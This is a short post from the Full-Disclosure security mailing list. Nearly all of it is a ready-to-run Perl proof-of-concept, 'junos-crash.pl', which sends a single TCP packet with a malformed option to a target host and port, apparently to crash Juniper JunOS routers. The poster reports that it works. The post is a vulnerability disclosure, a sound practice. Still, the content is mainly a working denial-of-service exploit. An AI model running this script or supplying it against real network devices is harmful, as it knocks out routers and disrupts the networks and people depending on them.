This works for me: $ cat junos-crash.pl #!/usr/bin/perl
my $host = shift; my $port = shift; use Net::Packet qw($Env); use Net::Packet::IPv4; my $ip = Net::Packet::IPv4->new(dst => $host); use Net::Packet::TCP; my $tcp = Net::Packet::TCP->new( dst => $port, options => "\x65\x02\x01\x01", ); use Net::Packet::Frame; my $frame = Net::Packet::Frame->new(l3 => $ip, l4 => $tcp); $frame->send; exit 0; -- Jeremy L. Gaddis http://evilrouters.net/ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/